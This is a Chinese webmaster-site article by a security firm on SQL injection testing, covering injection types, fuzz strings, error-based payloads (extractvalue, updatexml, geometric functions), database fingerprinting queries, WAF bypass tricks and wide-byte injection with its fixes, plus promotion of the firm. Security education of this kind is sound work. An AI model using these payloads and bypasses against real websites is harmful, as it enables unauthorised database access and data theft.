当前位置:首页 >  站长 >  建站经验 >  正文

渗透测试对网站注入攻击方法剖析

 2019-09-30 09:54  来源:A5用户投稿  我来投稿   websafe的个人主页 撤稿纠错

  短视频,自媒体,达人种草一站服务

国庆即将到来,前一期讲到获取网站信息判断所属环境以及各个端口的用处和弱口令密码利用方法,这期仍有很多客户找到我们Sine安全想要了解针对于SQL注入攻击的测试方法,这一期我们来讲解下注入的攻击分类和使用手法,让客户明白漏洞是如何产生的,会给网站安全带来怎样的影响!

3.1 SQL注入漏洞

3.1.1. 注入分类

SQL注入是一种代码注入技术,用于攻击数据驱动的应用程序。在应用程序中,如果没有做恰当的过滤,则可能使得恶意的SQL语句被插入输入字段中执行(例如将数据库内容转储给攻击者)。

3.1.1.1. 按技巧分类

根据使用的技巧,SQL注入类型可分为

盲注

布尔盲注:只能从应用返回中推断语句执行后的布尔值

时间盲注:应用没有明确的回显,只能使用特定的时间函数来判断

报错注入:应用会显示全部或者部分的报错信息

堆叠注入:有的应用可以加入 ; 后一次执行多条语句

其他

3.1.1.2. 按获取数据的方式分类

另外也可以根据获取数据的方式分为3类

inband

利用Web应用来直接获取数据

如报错注入

都是通过站点的响应或者错误反馈来提取数据

inference

通过Web的一些反映来推断数据

如布尔盲注和堆叠注入

也就是我们通俗的盲注,

通过web应用的其他改变来推断数据

out of band(OOB)

通过其他传输方式来获得数据,比如DNS解析协议和电子邮件

3.1.2. 注入检测

3.1.2.1. 常见的注入点

GET/POST/PUT/DELETE参数

X-Forwarded-For

文件名

3.1.2.2. Fuzz注入点

' / "

1/1

1/0

and 1=1

" and "1"="1

and 1=2

or 1=1

or 1=

' and '1'='1

+ - ^ * % /

<< >> || | & &&

~

!

@

反引号执行

3.1.2.3. 测试用常量

@@version

@@servername

@@language

@@spid

3.1.2.4. 测试列数

例如 域名/index.asp?id=12+union+select+nulll,null-- ,不断增加 null 至不返回

3.1.2.5. 报错注入

select 1/0

select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a

extractvalue(1, concat(0x5c,(select user())))

updatexml(0x3a,concat(1,(select user())),1)

exp(~(SELECT * from(select user())a))

ST_LatFromGeoHash((select * from(select * from(select user())a)b))

GTID_SUBSET(version(), 1)

3.1.2.5.1. 基于geometric的报错注入

GeometryCollection((select * from (select * from(select user())a)b))

polygon((select * from(select * from(select user())a)b))

multipoint((select * from(select * from(select user())a)b))

multilinestring((select * from(select * from(select user())a)b))

LINESTRING((select * from(select * from(select user())a)b))

multipolygon((select * from(select * from(select user())a)b))

其中需要注意的是,基于exp函数的报错注入在MySQL 5.5.49后的版本已经不再生效,具体可以参考这个 commit 95825f 。

而以上列表中基于geometric的报错注入在这个 commit 5caea4 中被修复,在5.5.x较后的版本中同样不再生效。

3.1.2.6. 堆叠注入

;select 1

3.1.2.7. 注释符

#

--+

/*xxx*/

/*!xxx*/

/*!50000xxx*/

3.1.2.8. 判断过滤规则

是否有trunc

是否过滤某个字符

是否过滤关键字

slash和编码

3.1.2.9. 获取信息

判断数据库类型

and exists (select * from msysobjects ) > 0 access数据库

and exists (select * from sysobjects ) > 0 SQLServer数据库

判断数据库表

and exsits (select * from admin)

版本、主机名、用户名、库名

表和字段

确定字段数(Order By Select Into)

表名、列名

3.1.2.10. 测试权限

文件操作

读敏感文件

写shell

带外通道

网络请求

3.1.3. 权限提升

3.1.3.1. UDF提权

UDF(User Defined Function,用户自定义函数)是MySQL提供的一个功能,可以通过编写DLL扩展为MySQL添加新函数,扩充其功能。

当获得MySQL权限之后,即可通过这种方式上传自定义的扩展文件,从MySQL中执行系统命令。

3.1.4. 数据库检测

3.1.4.1. MySQL

sleep sleep(1)

benchmark BENCHMARK(5000000, MD5('test'))

字符串连接

SELECT 'a' 'b'

SELECT CONCAT('some','string')

version

SELECT @@version

SELECT version()

识别用函数

connection_id()

last_insert_id()

row_count()

3.1.4.2. Oracle

字符串连接

'a'||'oracle' --

SELECT CONCAT('some','string')

version

SELECT banner FROM v$version

SELECT banner FROM v$version WHERE rownum=1

3.1.4.3. SQLServer

WAITFOR WAITFOR DELAY '00:00:10';

SERVERNAME SELECT @@SERVERNAME

version SELECT @@version

字符串连接

SELECT 'some'+'string'

常量

@@pack_received

@@rowcount

3.1.4.4. PostgreSQL

sleep pg_sleep(1)

3.1.5. 绕过技巧

编码绕过

大小写

url编码

html编码

十六进制编码

unicode编码

注释

// -- -- + -- - # /**/ ;%00

内联注释用的更多,它有一个特性 /!**/ 只有MySQL能识别

e.g. index.php?id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3

只过滤了一次时

union => ununionion

相同功能替换

函数替换

substring / mid / sub

ascii / hex / bin

benchmark / sleep

变量替换

user() / @@user

符号和关键字

and / &

or / |

HTTP参数

HTTP参数污染

id=1&id=2&id=3 根据容器不同会有不同的结果

HTTP分割注入

缓冲区溢出

一些C语言的WAF处理的字符串长度有限,超出某个长度后的payload可能不会被处理

二次注入有长度限制时,通过多句执行的方法改掉数据库该字段的长度绕过

3.1.6. SQL注入小技巧

3.1.6.1. 宽字节注入

一般程序员用gbk编码做开发的时候,会用 set names 'gbk' 来设定,这句话等同于

set

character_set_connection = 'gbk',

character_set_result = 'gbk',

character_set_client = 'gbk';

漏洞发生的原因是执行了 set character_set_client = 'gbk'; 之后,mysql就会认为客户端传过来的数据是gbk编码的,从而使用gbk去解码,而mysql_real_escape是在解码前执行的。但是直接用 set names 'gbk' 的话real_escape是不知道设置的数据的编码的,就会加 %5c 。此时server拿到数据解码 就认为提交的字符+%5c是gbk的一个字符,这样就产生漏洞了。

解决的办法有三种,第一种是把client的charset设置为binary,就不会做一次解码的操作。第二种是是 mysql_set_charset('gbk') ,这里就会把编码的信息保存在和数据库的连接里面,就不会出现这个问题了。第三种就是用pdo。如果期间想要渗透测试自己的网站安全性,可以联系专业的网站安全公司来处理解决,国内推荐Sinesafe,绿盟,启明星辰等等的网站安全公司,还有一些其他的编码技巧,比如latin会弃掉无效的unicode,那么admin%32在代码里面不等于admin,在数据库比较会等于admin。

作者: websafe    /    文章:71篇

申请创业报道,分享创业好点子。点击此处,共同探讨创业新机遇!

相关文章

  • 实战渗透测试判断网站信息内容讲解

    上一节讲到渗透测试中的代码审计讲解,对整个代码的函数分析以及危险语句的避让操作,近期很多客户找我们Sine安全想要了解如何获取到网站的具体信息,以及我们整个渗透工作的流程,因为这些操作都是通过实战累计下来的竟然,渗透测试是对网站检查安全性以及稳定性的一个预防针,前提是必须要有客户的授权才能做这些操作

  • 复检渗透测试网站安全攻守项目分析

    最近我们Sinesafe参加的几家机构的渗透测试防守方防护方案评估复查,部分防守方缺乏对攻击者的正确认知,攻击者的手法已经比较高超了,不扫描,不落地,污染日志等都很普及了。同时也要正确认知对手:攻防演练中,攻击者并非无所不能,他们面临着和防御方一样的问题:时间紧,任务重。所以攻击者的攻击目标,攻击手

  • 网站渗透测试详细检测方法

    越来越多的网站以及app手机端客户注重安全渗透测试服务,上线前必须要对平台进行全面的预渗透测试找出安全漏洞以及BUG,很多客户找我们SINE安全,做渗透测试服务的时候对具体的流程可能不太了解,下面我们把具体的渗透测试方法流程大体写的全面一点给大家呈现。

  • 渗透测试 网站代码审计等基础方法篇

    这几天整理了下网站渗透测试中基础部分的第三节,我们SINE安全渗透工程师对代码安全审计,手工渗透测试检查代码的危险漏洞方法,找出安全问题重点,配合工具扫描来达到测试漏洞的目的,本测试重点仅限于客户授权才能操作,切记忽非法尝试入侵!以下方法只是提供网站安全检测的具体参考意见。

  • 渗透测试 域名状态码协议讲解

    网站上线前需要对网站进行渗透测试,上一节我们Sine安全讲师讲了web的基础知识了解,明白了具体web运行的基础和环境和协议,这一节我们来讨论下域名和DNS工作原理以及http状态码和请求的协议来分析检测中的重点域名收集。

  • 模板网站和定制网站哪个好

    互联网+时代,许多公司会通过建设网站,在互联网上扩展其营销渠道,找格子网络建设网站,主要有模板网站和定制网站两大类,那模板网站和定制网站哪个好?今天,格子网络给大家分析下模板网站和定制网站的优缺点,希望能帮到大家,更好的选择。

  • 网站建设前需要搞清楚这几个问题

    对于很多不了解网站的企业而言,建站其实是很简单的,会找一家合适的建站公司,然后将一切事宜都交由其处理,这样做虽然是非常省事,但是企业不去参与其中的建设,那么对网站就不会有了解,后期更多的事项都不能够把控,所以这样的方式不可取,企业建站前要学着了解一些概念性的问题。

    标签:
    网站建设
  • 如何解决网站被DDOS攻击?彻底恢复网站的正常访问

    随之移动互联网数据网络的不断进步,在给大家提供多种多样便捷的另外,DDoS攻击的经营规模也愈来愈大,如今早已进到了Tbps的DDoS攻击时代。DDoS攻击不但经营规模愈来愈大,拒绝服务攻击也愈来愈繁杂,很多传统的ddos攻击安全防护对策已没法解决日渐演变的攻击方法。

    标签:
    ddos攻击
  • 都说做网站能够赚钱?说说我的亲身经历

    常常看到各种网赚,记得以前自己就上过当,受过骗,心心念念的赚钱、赚钱,放到促成了别人赚钱,现在网络上还是充满了各种欺骗,估摸着还是有源源不断的人,会走这么一遭。直到后来,自己开始对互联网有更深的认识,总算是不会轻易的受骗(这都是钱堆出来的,哭,心疼自己3秒),能够看错它到底是不是套路,通过教你赚钱来

  • APP渗透测试流程 漏洞检测与安全加固方面介绍

    目前越来越多的APP遭受到黑客攻击,包括数据库被篡改,APP里的用户数据被泄露,手机号以及姓名,密码,资料都被盗取,很多平台的APP的银行卡,充值通道,聚合支付接口也都被黑客修改过,导致APP运营者经济损失太大,很多通过老客户的介绍找到我们SINE安全公司,寻求安全防护,防止攻击。

  • Css代码中color属性的几种常见用法及区别

    大家在制作网站和编写css代码的时候,经常都会使用到color属性,这也是一个网页在制作中非常常见的属性,但是,就是这样一个最常用的属性也有多种表达方法,可以在不同的时候派上用场。

  • 怎样的设计才能让网站logo更加出彩?

    在企业网站的建设中,logo的设计也是非常重要的一个环节,因为logo就是网站中企业形象的代表,由于人类是视觉动物,所以能让人印象深刻的往往是图案而不是文字。所以一个优秀的logo就可以体现出一个企业想要表达给用户的信息,也可以代表企业的和品牌的形象,logo是企业网站中一个非常重要,不可或缺的元素

    标签:
    网站logo设计
  • 网站上线需要做好哪些工作?

    有很多新人站长,不是很了解在网站上线之前应该做哪些事情,那么今天我们就为大家分享一下,网站在上线要做的一些事情。

  • 如何做好中小企业网站建设与管理

    如何做好中小企业网站建设与管理?网站建设完成之后,除了要进行站内信息的完善与展示,还需要进行站外的信息推广,比如论坛、贴吧、自媒体等平台进行网站信息推广,让更多地用户能够到网站浏览。

    标签:
    企业网站建设
  • 网站安全科普介绍 如何防止网站被黑被攻击

    作为一名网络安全工程师,“网站安全”这个词似乎离生活有些遥远,平日里很多人开启计算机最多就是登陆网站、浏览网站,至于网站安不安全,却从未关注过。近些年来,网络安全相关话题已经引起了社会的广泛关注,还记得去年暑期大火的偶像连续剧《亲爱的热爱的》讲述了男主希望为中国拿下CTF大赛冠军的梦想之路,CTF在

    标签:
    网站安全
榜单

热门排行

信息推荐

扫一扫关注最新创业资讯